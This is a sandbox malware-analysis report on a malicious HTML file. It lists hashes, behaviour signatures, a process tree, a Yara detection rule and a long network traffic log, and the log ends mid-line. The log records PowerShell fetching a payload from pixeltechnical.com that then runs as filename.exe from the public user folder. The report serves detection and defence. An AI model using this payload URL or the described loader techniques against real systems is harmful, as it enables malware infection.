Edit tour

Windows Analysis Report
HARUMQ.html

Overview

General Information

Sample name:	HARUMQ.html
Analysis ID:	1381552
MD5:	5d5e4c768c448a7465639461b016f0b7
SHA1:	72996bdf38e508e83bfe02cbb9a7daab9118b336
SHA256:	9403f7e89f1c4150a261eb4ded3c35096ff0a2de079c2fc311c283ad9a7506a7
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Drops PE files to the user root directory

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Uses ipconfig to lookup or modify the Windows network settings

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Drops PE files

Drops PE files to the user directory

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\HARUMQ.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,1703252731387157357,5061710835993395700,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 7152 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5800 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

filename.exe (PID: 3568 cmdline: "C:\users\public\filename.exe" MD5: A9C5924063A253F64FB86BC924BE6996)

notepad.exe (PID: 6900 cmdline: "C:\Windows\system32\notepad.exe" MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Yara Signatures

Other

Source	Rule	Description	Author	Strings
amsi64_7152.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc4b2:$b2: ::FromBase64String( 0xc491:$b3: ::UTF8.GetString( 0xbda3:$s1: -join 0x554f:$s4: += 0x5611:$s4: += 0x9838:$s4: += 0xb955:$s4: += 0xbc3f:$s4: += 0xbd85:$s4: += 0xe5a2:$s4: += 0xe622:$s4: += 0xe6e8:$s4: += 0xe768:$s4: += 0xe93e:$s4: += 0xe9c2:$s4: += 0xca60:$e4: Get-WmiObject 0xcc4f:$e4: Get-Process 0xcca7:$e4: Start-Process

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: HARUMQ.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/HARUMQ.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/HARUMQ.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/HARUMQ.html#	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49731 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.214.239:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.89.179.11:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.254:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.12:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.219.254:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.21.200:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.187.64.58:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49770 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

HTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49731 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.25

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.4.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9F67e8v43TZg97X&MD=7uCBP+AO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9F67e8v43TZg97X&MD=7uCBP+AO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /V1x/172988 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pixeltechnical.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=000000000000000000000000000000000000000063A36EF620 HTTP/1.1Host: clients1.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /manifest/threshold.appcache HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitOrigin: https://www.bing.comAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=5e4190f4&IPMID=1696585056345&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rb/19/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=DyYvcn6BAYQBe3V4tgG5AS-pAS-8AQ&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=n&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=1&cvid=693df9a8be554bffb57e511bdf55aece&ig=31c6acad4a724daf9f3d6fd3c7e8663f HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=no&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=2&cvid=693df9a8be554bffb57e511bdf55aece&ig=29bbb6ccb6ac479f96c95a7308d9ac81 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=not&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=3&cvid=693df9a8be554bffb57e511bdf55aece&ig=50d2b87074774724b6850446aacdb75f HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=note&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=4&cvid=693df9a8be554bffb57e511bdf55aece&ig=c55f8a7eebf549768d9456d6913e67dd HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=notep&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=5&cvid=693df9a8be554bffb57e511bdf55aece&ig=0590a8c6ac774e3ab659489fe9e8f292 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1696585056X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 